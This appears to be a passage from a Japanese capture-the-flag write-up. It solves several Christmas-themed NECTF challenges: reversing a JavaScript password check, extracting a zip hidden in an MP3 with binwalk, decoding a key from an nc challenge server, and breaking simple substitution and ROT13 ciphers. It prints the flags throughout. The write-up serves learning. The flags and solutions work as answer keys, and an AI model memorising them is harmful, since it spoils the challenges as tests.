      const checkPassword=()=>{let e=document.getElementById("password").value,d=Array.from(e).map(e=>5*"NO ESCAPE CTF".split("").map(e=>e.charCodeAt(0)).reduce(function(e,d){return e+d})+e.charCodeAt(0));return 4446===d[13]&&4477===d[15]&&4447===d[0]&&4489===d[2]&&4492===d[10]&&4496===d[8]&&4476===d[1]&&4476===d[3]&&4485===d[19]&&4478===d[20]&&4421===d[17]&&4407===d[12]&&4486===d[9]&&4489===d[11]&&4491===d[16]&&4480===d[5]&&4407===d[7]&&4487===d[18]&&4407===d[4]&&4490===d[6]&&4480===d[14]&&e};window.addEventListener("DOMContentLoaded",()=>{document.getElementById("go").addEventListener("click",()=>{let e=checkPassword();e?window.location.href=e:alert("Wrong password")}),document.getElementById("password").addEventListener("keydown",e=>{if(13===e.keyCode){let d=checkPassword();d?window.location.href=d:(document.getElementById("password").classList.remove("valid"),alert("Wrong password!"))}}),document.getElementById("password").addEventListener("keyup",e=>{checkPassword()?document.getElementById("password").classList.add("valid"):document.getElementById("password").classList.remove("valid")})},!1);
    </script>

この条件を満たすパスワードを割り出す。

#!/usr/bin/env python3

d = [4447, 4476, 4489, 4476, 4407, 4480, 4490, 4407, 4496, 4486, 4492, 4489,
    4407, 4446, 4480, 4477, 4491, 4421, 4487, 4485, 4478]

KEY = b'NO ESCAPE CTF'

base = 0
for k in KEY:
    base += k * 5

password = ''
for i in d:
    password += chr(i - base)
print(password)

パスワードは以下であることがわかる。

Here is your Gift.png

このパスワードでログインすると、フラグが表示された。

NECTF{YOU_R_LEGEND}

X-mas Carol (Forensics)

$ binwalk x-mas.mp3 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
400031        0x61A9F         Zip archive data, at least v2.0 to extract, compressed size: 9130, uncompressed size: 20969, name: .carol.txt
409309        0x63EDD         End of Zip archive, footer length: 22

末尾にzipが付いているので、抽出する。

$ binwalk -e x-mas.mp3 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
400031        0x61A9F         Zip archive data, at least v2.0 to extract, compressed size: 9130, uncompressed size: 20969, name: .carol.txt
409309        0x63EDD         End of Zip archive, footer length: 22

$ cat _x-mas.mp3.extracted/.carol.txt | grep NECTF{
Other popular and widely sung Christmas carols are "HerbNECTF{J1ngl3s_@alL_th3_wAy}ei, o ihr Gläub’gen", a German version of "Adeste fideles" (English: "O Come, All Ye Faithful"), Alle Jahre wieder ("Every year again"), Es ist ein Ros entsprungen (lit: "A rose has sprung up"), "Leise rieselt der Schnee" "(Silently the snow is falling)", "Tochter Zion, freue dich" (Daughter Zion, rejoice) and "Es ist für uns eine Zeit angekommen" ("Unto us a time has come").
Main article: List of Filipino Christmas carolsNECTF{}
NECTF{J1ngl3s_@alL_th3_wAy}

X-mas Present (Crypto)

$ nc ctf.x-mas.biz 8080
                               _                 _             
| | |_  /_  _  _ _  _  _/__   /_`_  _ _/__/  _  /_`_  _  __ _/_
|/|//_'//_ /_// / //_' / /_/ ._//_|/ // /_|_\  ._//_'/_ //_'/  
                                                               
  _             
 /_`_  _  ._  _ 
._//_'/|///_ /_'
                

What do you want?
1. Get Your Flag
2. Get Your X-mas Present
3. No, Thanks i'm happy!
Enter your choice: 3
Ok, don't worry, i'll give you the secret key but you need to decode it
Printing secret key in encrypted format...
0漢4d字0漢33字0漢72字0漢52字0漢79字0漢5f字0漢21字0漢58字0漢6d字0漢40字0漢24字

漢の後ろのコードをデコードしていく。

>>> chr(0x4d)
'M'
>>> chr(0x33)
'3'
>>> chr(0x72)
'r'
>>> chr(0x52)
'R'
>>> chr(0x79)
'y'
>>> chr(0x5f)
'_'
>>> chr(0x21)
'!'
>>> chr(0x58)
'X'
>>> chr(0x6d)
'm'
>>> chr(0x40)
'@'
>>> chr(0x24)
'$'
$ nc ctf.x-mas.biz 8080
  ##  ##             ###                                       
  ##  ##              ##                                       
 ##   ##    ####     ##       ####     ####    ## ##     ####  
 ##  ##   ##   ##    ##     ##       ##   ##  #######  ##   ## 
## # ##  ########   ##     ##       ##    ##  ## # ## ######## 
######   ##         ##     ##       ##   ##  ##   ##  ##       
## ##     ####     ####     #####    ####    ##   ##   ####    
                                                               
    ##            
   ##             
#######     ####  
  ##      ##   ## 
 ##      ##    ## 
 ##      ##   ##  
  ###     ####    
                  
   ####                        ##                ##            
  ##  ##                      ##                ##             
  ##        #####  ## ###  #######     #####             ##### 
   ##     ##   ##  ###  ##   ##      ##   ##            ##     
    ##   ##    ##  ##   ##  ##      ##    ##             ##    
##  ##   ##  ###  ##   ##   ##      ##  ###               ##   
 ####     ### ##  ##   ##    ###     ### ##           #####    
                                                               
   ####                                          ##   
  ##  ##                                        ##    
  ##        ####     ####    ## ###    ####  #######  
   ##     ##   ##  ##       ####     ##   ##   ##     
    ##   ######## ##        ##      ########  ##      
##  ##   ##       ##       ##       ##        ##      
 ####     ####     #####   ##        ####      ###    
                                                      
   ####                                  ##                    
  ##  ##                                                       
  ##        ####    ## ### ###  ###   ####      ####     ####  
   ##     ##   ##  ####     ##  ##      ##    ##       ##   ## 
    ##   ########  ##       ## ##      ##    ##       ######## 
##  ##   ##       ##         ###       ##    ##       ##       
 ####     ####    ##         ##      ######   #####    ####    
                                                               

What do you want?
1. Get Your Flag
2. Get Your X-mas Present
3. No, Thanks i'm happy!
Enter your choice: 2
Enter your secret key:M3rRy_!Xm@$
Here is your present: 
Congrats! You got the flag: 
NECTF{S@Nta_1$_@_h@cKer}
NECTF{S@Nta_1$_@_h@cKer}

Hello Santa (Crypto)

暗号化文字列の各文字について、鍵の文字のASCIIコードの和を引けば、フラグになる。

#!/usr/bin/env python3
import io

with io.open('helloSanta.txt', 'r', encoding = 'utf-8') as f:
    enc = f.read()

key = 'merry_xmas'

flag = ''
for i in range(len(enc)):
    code = ord(enc[i])
    for k in key:
        code -= ord(k)
    flag += chr(code)
print(flag)

復号結果は以下の通り。

flag: NECTF{HoL@_S@Nt@}
NECTF{HoL@_S@Nt@}

Jingle Bells (Crypto)

.DS_Storeのファイルを見ると、こう書いてある。

00000000  34 31 20 35 32 20 35 30 20 34 37 20 35 33 20 37  |41 52 50 47 53 7|
00000010  62 20 35 31 20 34 30 20 36 36 20 35 35 20 33 31  |b 51 40 66 55 31|
00000020  20 36 31 20 37 34 20 35 66 20 36 37 20 37 35 20  | 61 74 5f 67 75 |
00000030  36 35 20 34 32 20 36 38 20 37 34 20 37 35 20 35  |65 42 68 74 75 5|
00000040  66 20 36 37 20 35 35 20 33 33 20 35 66 20 32 34  |f 67 55 33 5f 24|
00000050  20 36 31 20 33 30 20 36 61 20 37 64              | 61 30 6a 7d|

hexデコードする。

$ echo "41 52 50 47 53 7b 51 40 66 55 31 61 74 5f 67 75 65 42 68 74 75 5f 67 55 33 5f 24 61 30 6a 7d" | xxd -r -p
ARPGS{Q@fU1at_gueBhtu_gU3_$a0j}

https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherでROT13をするとフラグになった。

NECTF{D@sH1ng_thrOugh_tH3_$n0w}

Hello Santa II (Crypto)

keyをブルートフォースして復号する。

#!/usr/bin/env python3
import io

with io.open('helloSanta.txt', 'r', encoding = 'utf-8') as f:
    enc = f.read()

with open('random.txt', 'r') as f:
    keys = f.read().splitlines()

for key in keys:
    success = True
    flag = ''
    for i in range(len(enc)):
        code = ord(enc[i])
        for k in key:
            code -= ord(k)
        if code > 126 or code < 32:
            success = False
        else:
            flag += chr(code)
    if not success:
        continue
    if 'NECTF' in flag:
        print(flag)
        break

復号結果は以下の通り。

flag: NECTF{Bruteforce_1s_4w3s0m3}
NECTF{Bruteforce_1s_4w3s0m3}